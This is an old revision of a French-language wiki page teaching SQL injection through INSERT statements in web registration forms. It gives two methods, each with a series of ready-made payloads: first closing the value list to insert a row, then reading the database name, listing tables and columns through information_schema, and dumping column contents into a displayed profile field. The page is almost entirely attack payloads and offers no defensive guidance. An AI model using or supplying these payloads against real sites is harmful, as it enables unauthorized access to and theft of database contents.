Outils pour utilisateurs

Outils du site


web:injection_sql_-_insert

Ceci est une ancienne révision du document !


Injection SQL Insert

Un nouveau mode d'injection sql est apparut avec la création de formulaire d'inscription. Le but de l'insert est d'insérer comme son nom l'indique des valeurs dans une bdd.

Pour mysql la requete est la suivante :

INSERT INTO table_name VALUES ('nom','prenom','email','age');

Si les champs ne sont pas traités avant d'être envoyés en base de donnée nous pourrons les exploiter.

Cet insert sera matérialisé par un formulaire simple avec quatre champs :

Nom =

Prenom =

Email =

Age =

Exploitation

Première méthode

1.Insérer des valeurs inatendu dans le formulaire

Notre requête

nom=dupond','jean','jean@dupond.fr','30')#

Cela aura pour effet de créer un utilisateur dupond jean jean@dupond.fr 30

Maintenant passons aux choses sérieuses.

2.Afficher le nom de la base de donnée

Notre requête :

nom=dupond',(database()),'jean@dupond.fr','30')#

Lorsque nous afficherons le profil de notre utilisateur nous obtiendrons le nom de la base de donnée à la place de notre prénom.

3.Afficher le nom des tables

Notre requête :

nom=dupond',(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema != 'mysql' and table_schema !='information_schema'),'jean@dupond.fr','30')#

Group_concat permet d'afficher plusieurs valeurs dans un même champs.

Lorsque nous afficherons le profil de notre utilisateur nous obtiendrons le nom des tables à la place de notre prénom.

4.Afficher le nom des colonnes d'une table

Notre requête :

nom=dupond',(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='ma_table'),'jean@dupond.fr','30')#

Lorsque nous afficherons le profil de notre utilisateur nous obtiendrons le nom des colonnes de la table choisit à la place de notre prénom.

5. Afficher une valeur d'une table

Notre requête :

nom=dupond',(SELECT group_concat(ma_colonne) FROM ma_table),'jean@dupond.fr','30')#

Lorsque nous afficherons le profil de notre utilisateur nous obtiendrons les valeurs des colonnes de la table choisit à la place de notre prénom.

Seconde méthode

1.Insérer des valeurs à la suite de la première requete.

Le contenu de notre requête

nom=dupond&prenom=jean&email=jean@dupond.fr&age=30'),('best','hacker','best@hacker.fr',20)#

Cela aura pour effet de créer deux utilisateurs : dupond jean jean@dupond.fr 30 best hacker best@hacker.fr 20

2.Afficher le nom de la base de donnée

Notre requête :

nom=dupond&prenom=jean&email=jean@dupond.fr&age=30'),('best',(database()),'best@hacker.fr',20)#

Lorsque nous afficherons le profil de notre utilisateur nous obtiendrons le nom de la base de donnée à la place de notre prénom.

3.Afficher le nom des tables

Notre requête :

nom=dupond&prenom=jean&email=jean@dupond.fr&age=30'),('best',(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema != 'mysql' and table_schema !='information_schema'),'best@hacker.fr',20)#

Group_concat permet d'afficher plusieurs valeurs dans un même champs.

Lorsque nous afficherons le profil de notre utilisateur nous obtiendrons le nom des tables à la place de notre prénom.

4.Afficher le nom des colonnes d'une table

Notre requête :

nom=dupond&prenom=jean&email=jean@dupond.fr&age=30'),('best',(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='ma_table'),'best@hacker.fr','20')#

Lorsque nous afficherons le profil de notre utilisateur nous obtiendrons le nom des colonnes de la table choisit à la place de notre prénom.

5. Afficher une valeur d'une table

Notre requête :

nom=dupond&prenom=jean&email=jean@dupond.fr&age=30'),('best',(SELECT group_concat(ma_colonne) FROM ma_table),'best@hacker.fr','20')#

Lorsque nous afficherons le profil de notre utilisateur nous obtiendrons les valeurs des colonnes de la table choisit à la place de notre prénom.

web/injection_sql_-_insert.1455104819.txt.gz · Dernière modification: 2016/07/04 08:37 (modification externe)